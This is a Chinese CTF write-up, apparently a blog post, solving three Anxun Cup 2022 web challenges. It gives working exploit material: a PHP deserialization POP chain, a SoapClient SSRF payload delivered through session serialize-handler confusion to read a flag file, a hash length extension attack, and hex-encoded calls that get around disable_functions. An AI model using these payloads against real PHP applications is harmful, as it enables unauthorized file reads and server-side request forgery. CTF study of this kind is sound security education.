安洵杯 2022 复现

babyphp

知识点:原生类的利用,session 反序列化
<?php
//something in flag.php

class A
{
    public $a;
    public $b;

    public function __wakeup()
    {
        $this->a = "babyhacker";
    }

    public function __invoke()
    {
        if (isset($this->a) && $this->a == md5($this->a)) {
            $this->b->uwant();
        }
    }
}

class B
{
    public $a;
    public $b;
    public $k;

    function __destruct()
    {
        $this->b = $this->k;
        die($this->a);
    }
}

class C
{
    public $a;
    public $c;

    public function __toString()
    {
        $cc = $this->c;
        return $cc();
    }
    public function uwant()
    {
        if ($this->a == "phpinfo") {
            phpinfo();
        } else {
            call_user_func(array(reset($_SESSION), $this->a));
        }
    }
}


if (isset($_GET['d0g3'])) {
    ini_set($_GET['baby'], $_GET['d0g3']);
    session_start();
    $_SESSION['sess'] = $_POST['sess'];
}
else{
    session_start();
    if (isset($_POST["pop"])) {
        unserialize($_POST["pop"]);
    }
}
var_dump($_SESSION);
highlight_file(__FILE__);

链子很好构造

B:__destruct  =>  C:__toString  =>  A:__invoke  =>  C:uwant
<?php
class A{
	public $a;
    public $b;
}

class B
{
    public $a;
    public $b;
    public $k;
}
class C
{
    public $a;
    public $c;
}
$b = new B();
$c = new C();
$a = new A();
$b->a = $c;
$c->c = $a;
$a->a = '0e215962017';
$a->b = new C();
$a->b->a = 'succ3';
echo serialize($b);

增加属性绕过 __wakeup 即可

O:1:"B":3:{s:1:"a";O:1:"C":2:{s:1:"a";N;s:1:"c";O:1:"A":3:{s:1:"a";s:11:"0e215962017";s:1:"b";O:1:"C":2:{s:1:"a";s:5:"succ3";s:1:"c";N;}}}s:1:"b";N;s:1:"k";N;}

链子构造好了,那么里面的 call_user_func(array(reset($_SESSION), $this->a)); 该怎么用呢?

call_user_func(array($a, $b));
其中的$a要是一个类,$b为类中方法

我们看这一段:
d0g3 存在时,就可以写一个 post 值到 session 里,那么传什么值呢?

if (isset($_GET['d0g3'])) {
    ini_set($_GET['baby'], $_GET['d0g3']);
    session_start();
    $_SESSION['sess'] = $_POST['sess'];
}
else{
    session_start();
    if (isset($_POST["pop"])) {
        unserialize($_POST["pop"]);
    }
}
var_dump($_SESSION);

这边就要看 flag.php 了,很明显需要用 soapclient 原生类构造 get 数据来访问它。

<?php
session_start();
highlight_file(__FILE__);
//flag在根目录下
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
    $f1ag=implode(array(new $_GET['a']($_GET['b'])));
    $_SESSION["F1AG"]= $f1ag;
}else{
   echo "only localhost!!";
}

且在 flag.phpnew $_GET['a']($_GET['b']) 可以用原生来读取目录,也可以读取文件。
原生类详解处

那么我们是不是可以构造一个利用 soapclientget 方式在本地访问 flag.php 并传参的脚本,且在 flag.php 中会把值存入 session,那么我们是不是就可以通过 session 值来获取 flag 了,这边我就用一下 y4 大佬的脚本了。

<?php

$target = 'http://127.0.0.1/flag.php?a=SplFileObject&b=/f1111llllllaagg';
$post_string = 'data=dir';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'y4tacker^^'.join('^^',$headers),'uri' => "ssrf"));

$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
$a = str_replace('&','&',$a);
echo urlencode($a);

那么到这里思路一下子就清晰了,先利用 ini_set($_GET['baby'], $_GET['d0g3']);$_POST['sess'],设置 session 反序列化器为 php_serialize,这样的话我们把上面的 ssrf payload 传进去并在最前面加一个 |,在取出的时候由于 session 的默认反序列化器是 php 而造成反序列化漏洞。(session 反序列化介绍

payload:

?d0g3=php_serialize&baby=session.serialize_handler
sess=|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22ssrf%22%3Bs%3A8%3A%22location%22%3Bs%3A60%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%3Fa%3DSplFileObject%26b%3D%2Ff1111llllllaagg%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A36%3A%22y4tacker%0D%0AX-Forwarded-For%3A+127.0.0.1%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

传入的时候可以看出,还是正常的。
在这里插入图片描述
当我们以默认 PHP 处理器来访问时,它就会解析,把 | 前面的当做键值,后面的反序列化,这边也就是一个 Soapclient 类,但如果想要触发 ssrf ,我们还要访问一个Soapclient 中不存在的方法,到这是不是恍然大悟了。

在这里插入图片描述
没错就是下面这句,前面的 reset($_SESSION) 也就是上图的 Soapclient$this->a 为方法名,那么是不是是要随便给 $this->a 附一个值就可以触发 ssrf 了。

call_user_func(array(reset($_SESSION), $this->a));

poc 链就是上面那个。

O:1:"B":3:{s:1:"a";O:1:"C":2:{s:1:"a";N;s:1:"c";O:1:"A":3:{s:1:"a";s:11:"0e215962017";s:1:"b";O:1:"C":2:{s:1:"a";s:5:"succ3";s:1:"c";N;}}}s:1:"b";N;s:1:"k";N;}

执行访问,会显示页面无法正常运作,因为这个 pop 链并没有形成闭合,最后没有 return 一个 String 来给B类的__toString() 方法我们只要重新访问一下页面就可以了。
在这里插入图片描述
可以看到本地的 session 值已经有了。接下来就是替换 session 值了。
在这里插入图片描述
成功获取 flag,对了 flag 文件的名字可以通过 DirectoryIterator 原生类来比配获得,其他操作一样。

http://127.0.0.1/flag.php?a=DirectoryIterator&b=glob:///f*

在这里插入图片描述

EZ_JS

知识点:哈希长度拓展攻击
<!--This secret is 7 characters long for security!
hash=md5(secret+"flag");//1946714cfa9deb70cc40bab32872f98a
admin cookie is   md5(secret+urldecode("flag%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00X%00%00%00%00%00%00%00dog"));
-->

利用 hashpump 工具,安装步骤如下:

git clone https://github.com/bwall/HashPump
apt-get install g++ libssl-dev
cd HashPump
make
make install

哈希长度拓展攻击

在这里插入图片描述
登录时看到如下图的 jsfuck 代码,放到 console 运行一下,注意前面的注释要删掉。
在这里插入图片描述
运行后会弹个框,告诉我们要 admin 大写。
在这里插入图片描述

在这里插入图片描述
一登进去就显示 flag,嗯~~?,啥情况,看了大佬的 wp,才发现原来访问 infoflllllag 是显示源码的,也不知道是哪位大佬这么牛。
在这里插入图片描述

var express = require('express');
var router = express.Router();
const isObject = obj = >obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) = >{
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}

const clone = (a) = >{
    return merge({},
    a);
}
router.get('/',
function(req, res, next) {
    if (req.flag == "flag") {
        flag;
        res.send('flag?????????????');
    }
    res.render('info');
});
router.post('/', express.json(),
function(req, res) {
    var str = req.body.id;
    var obj = JSON.parse(str);
    req.cookies.id = clone(obj);
    res.render('info');
});
module.exports = router;

eazyupload

知识点:原生类,echo 16 进制

师傅们牛笔

<?php
$payload = 'glob:///f*';
$final = '';
for($i=0;$i<strlen($payload);$i++){
    $final .= '\x'.bin2hex($payload[$i]);
}
echo $final;

没想到还可以这么干,用 16 进制。
在这里插入图片描述

<?php echo new DirectoryIterator("\x67\x6c\x6f\x62\x3a\x2f\x2f\x2f\x66\x2a");

在这里插入图片描述
通过 phpinfo 可以知道它 disable_function 的函数,fuzz 一下可以知道有哪些方法可用

<?php echo "\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"("/fl1111111111ag");

在这里插入图片描述
在这里插入图片描述

fuzz 脚本写的一般,师傅们如果有更好的方法,望推荐!!!

<?php
$array = get_defined_functions();
$fuzz = "....";//disable_function
$fuzz = str_replace(' ','',$fuzz);
foreach($array['internal'] as $arr){
	if(strpos($fuzz,$arr)!==false){
		continue;
	}else{
		echo $arr."\n";
	}
}

refercence

https://www.ctfiot.com/81036.html
  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值